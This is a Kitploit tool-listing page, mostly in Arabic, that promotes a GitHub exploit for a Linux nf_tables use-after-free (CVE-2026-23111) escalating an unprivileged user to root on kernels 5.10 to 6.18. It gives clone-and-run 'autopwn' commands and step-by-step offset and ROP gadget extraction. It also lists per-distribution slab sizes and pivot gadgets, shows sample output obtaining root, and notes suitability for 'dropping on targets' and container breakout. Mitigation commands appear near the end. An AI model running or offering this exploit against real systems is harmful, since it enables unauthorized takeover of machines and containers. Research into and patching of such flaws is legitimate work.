Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/knz-source/cve-2026-23111-poc-noddlenpottato
تصعيد الامتيازاتالاستغلالاستغلال الملفات الثنائية
GitHubknz-source/cve-2026-23111-poc-noddlenpottato

CVE-2026-23111-POC-noddlenpottato

CVE-2026-23111 nf_tables catchall UAF — استغلال تصعيد صلاحيات محلي بدون صلاحيات لنظام Linux 5.10-6.18. استغلال ذاتي التكيّف مع تجاوز KASLR وقراءة تعسفية من النواة وسلسلة ROP. يدعم Debian وUbuntu وRHEL وFedora. C/Python/Rust + autopwn.

عرض المستودع

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
5منذ 8 أياملم تتم المراجعة بعد

CVE-2026-23111 — noddlenpottato

ثغرة nf_tables catchall UAF → LPE بدون امتيازات. ترقية من مستخدم عادي إلى الجذر على معظم نوى لينكس 5.10—6.18.

يتكيف تلقائيًا مع النواة المستهدفة — يكتشف إزاحات الـ struct، يحل الرموز، يجد أدوات ROP، يحدد slab cache، يولّد استغلالًا مخصصًا، يترجم ويشغّل.

nf_tables catchall UAF → LPE بدون امتيازات. مستخدم عادي يصبح root على معظم نوى لينكس 5.10—6.18.

يتكيف تلقائيًا مع النواة المستهدفة — يكتشف إزاحات الـ structs، يحل الرموز، يجد أدوات ROP، يحدد slab cache، يولّد استغلالًا مخصصًا، يترجم ويشغّل.

نظرة عامة على سلسلة الاستغلال

سلسلة الاستغلال

استراتيجية استعادة slab

استعادة slab

الثغرة / الضعف

EN: فحص genmask معكوس في nft_map_catchall_activate() (net/netfilter/nf_tables_api.c). أثناء إحباط المعاملة، يتجاوز المعالج عناصر catchall غير النشطة التي تحتاج إلى إعادة تنشيط ويعالج العناصر النشطة التي لا تحتاج. يؤدي هذا إلى إنقاص chain->use دون استعادة مناسبة، مما يسمح بـ DELCHAIN على سلسلة لا تزال مُشار إليها — مما يُنشئ UAF.

PT: فحص genmask معكوس في nft_map_catchall_activate() (net/netfilter/nf_tables_api.c). أثناء إحباط المعاملة، يتجاوز المعالج عناصر catchall غير النشطة التي تحتاج إلى إعادة تنشيط ويعالج العناصر النشطة التي لا تحتاج. يؤدي هذا إلى إنقاص chain->use دون استعادة مناسبة، مما يسمح بـ DELCHAIN على سلسلة لا تزال مُشار إليها — مما يُنشئ UAF.

الشرط المعيب:

root@kitploit:~
// WRONG (actual code) — skips the elements that need reactivation
if (!nft_set_elem_active(ext, genmask))
    continue;

// CORRECT (what it should be) — skips elements already active
if (nft_set_elem_active(ext, iter->genmask))
    return 0;

ما الذي ستحصل عليه

  • قراءة نواة عشوائية — قراءة 8 بايت من أي عنوان افتراضي للنواة، لعدد غير محدود من المرات
  • تجاوز KASLR — تسريب قاعدة النواة عبر استعادة seq_operations لاسم سلسلة محرّر
  • LPE كامل — commit_creds(init_cred) عبر سلسلة ROP مع عودة آمنة إلى مساحة المستخدم متوافقة مع KPTI
  • يعمل من مستخدم غير مميز — يحتاج فقط إلى unshare -rUn (مساحة مستخدم + مساحة شبكة)
  • يعمل داخل الحاويات — كبسولات kubernetes، حاويات docker (يحصل على صلاحيات الجذر في مساحة اسم الحاوية)

الإصدارات المتأثرة

أُدخلت الثغرة في 6.1.36 (backport) وتوجد في عدة فروع LTS:

هذا يغطي تقريبًا كل توزيعة لينكس مؤسسية رئيسية صدرت بين 2023-2026.

بدء سريع

root@kitploit:~
git clone https://github.com/Knz-source/CVE-2026-23111-POC-noddlenpottato
cd CVE-2026-23111-POC-noddlenpottato
python3 autopwn.py

أو خطوة بخطوة:

root@kitploit:~
python3 checker.py --detailed          # check if vulnerable / verifica se é vulneravel
python3 scripts/extract_offsets.py     # grab kernel offsets / pega offsets do kernel
python3 scripts/find_gadgets.py        # find ROP gadgets / encontra gadgets ROP
make                                   # build the exploit / compila o exploit
./exploit                              # pop root

هيكل المستودع

root@kitploit:~
.
├── autopwn.py                  full auto — detect, extract, compile, exploit
├── checker.py                  vulnerability checker (version, modules, userns, BTF)
├── exploit_61.c                base exploit (Debian 6.1.172 offsets, template for autopwn)
├── exploit/
│   ├── exploit.c               C exploit
│   ├── exploit.py              python wrapper with retry logic
│   └── exploit.rs              rust port (compiles static with musl)
├── scripts/
│   ├── extract_offsets.py      BTF/pahole offset extractor
│   ├── find_gadgets.py         ROP gadget finder (objdump/nm)
│   ├── slab_check.sh           slab cache analyzer
│   └── install_deps.sh         dependency installer
├── img/                        diagrams
├── Makefile                    build targets (C, Rust, deps)
├── EXPLOITATION.md             deep dive into the 5-phase exploit chain
├── DEBUGGING.md                step by step offset extraction and gadget hunting
└── CONSIDERATIONS.md           edge cases, bypasses, pitfalls

التكييفات التقنية الرئيسية

حجم slab مهم

sizeof(nft_chain) يختلف بين إصدارات النواة. حجم الرش الخاطئ = فشل صامت:

root@kitploit:~
debian 6.1.172:   120 bytes → kmalloc-128
ubuntu 6.5.x:     136 bytes → kmalloc-192
ubuntu 6.8.x:     152 bytes → kmalloc-192
debian 5.15.x:    112 bytes → kmalloc-128

يجب أن يستخدم رش userdata الحجم الدقيق للـ struct (وليس حجم slab). يتولى autopwn.py هذا تلقائيًا عبر pahole.

أداة الانعطاف (pivot) تختلف

يختلف التسجيل الذي يحمل مؤشر expr في موقع استدعاء eval() بين إصدارات النواة:

النواةالتسجيلالأداة المطلوبة
6.1.x (debian)rbpleave; jmp __x86_return_thunk
6.5+ (ubuntu)rbxmov rsp, rbx; ret or push rbx; pop rsp; ret

أداة خاطئة = ذعر نواة فوري. تحقق دائمًا عبر تفكيك nft_do_chain.

retpoline

تستبدل النوى الحديثة كل ret بـ jmp __x86_return_thunk. يجب أن يأخذ البحث عن الأدوات هذا في الحسبان — لن تجد pop rdi; ret، بل ستجد pop rdi; jmp __x86_return_thunk.

البناء

root@kitploit:~
# C (recommended — fastest, proven)
make

# Rust (static binary with musl — good for dropping on targets)
make rust

# install build deps
make deps

الإثبات

root@kitploit:~
$ id
uid=1000(user) gid=1000(user)

$ ./exploit
[*] CVE-2026-23111 nftables UAF -> LPE
[+] chain freed (kmalloc-128) + name freed (kmalloc-32)
[pwn] kbase = 0xffffffff9a400000
[pwn] my_task found at 0xffff8e4a1c084190
[pwn] canary = 0x5c6fa95dca98e100
[pwn] commit_creds(init_cred) -> ROP triggered
[+] root

# id
uid=0(root) gid=0(root) groups=0(root)

التوثيق

المستندالوصف
EXPLOITATION.mdشرح كامل لسلسلة الاستغلال مع الكود، EN/PT
DEBUGGING.md

التخفيفات

root@kitploit:~
# update kernel to fixed version
apt upgrade linux-image-$(uname -r)

# or disable unprivileged user namespaces
sysctl -w kernel.unprivileged_userns_clone=0

# or blacklist nf_tables
echo 'install nf_tables /bin/true' >> /etc/modprobe.d/blacklist.conf

الاعتمادات

تحليل الثغرة الأصلي من نشرة nf_tables. تطوير سلسلة LPE الكاملة، تحليل slab، التكييف متعدد النوى، أبحاث أدوات الانعطاف، وأدوات autopwn طُوّرت بشكل مستقل.

تنزيل الأداة
نطاق النواةثُبّت فيالتوزيعات المتأثرة
6.13 — 6.18.96.18.10fedora 41+, arch (rolling)
6.7 — 6.12.696.12.70ubuntu 24.04/24.10, fedora 39/40
6.1.36 — 6.1.1626.1.163debian 12 (bookworm), مشتقات RHEL 9
5.15.121 — 5.15.1995.15.200ubuntu 22.04 LTS, debian 11 backports
5.10.188+variousdebian 11 (bullseye), مشتقات RHEL 8
كيفية استخراج كل إزاحة وأداة لنواتك، EN/PT
CONSIDERATIONS.mdحالات الحافة، الالتفافات، الحاويات، SMEP/SMAP، الاكتشاف، EN/PT